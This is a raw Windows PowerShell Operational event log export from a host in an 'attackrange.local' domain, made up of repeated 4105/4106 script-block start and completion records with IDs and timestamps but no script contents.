ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029213
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029211
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029210
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029193
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029187
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029165
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029163
Keywords=None
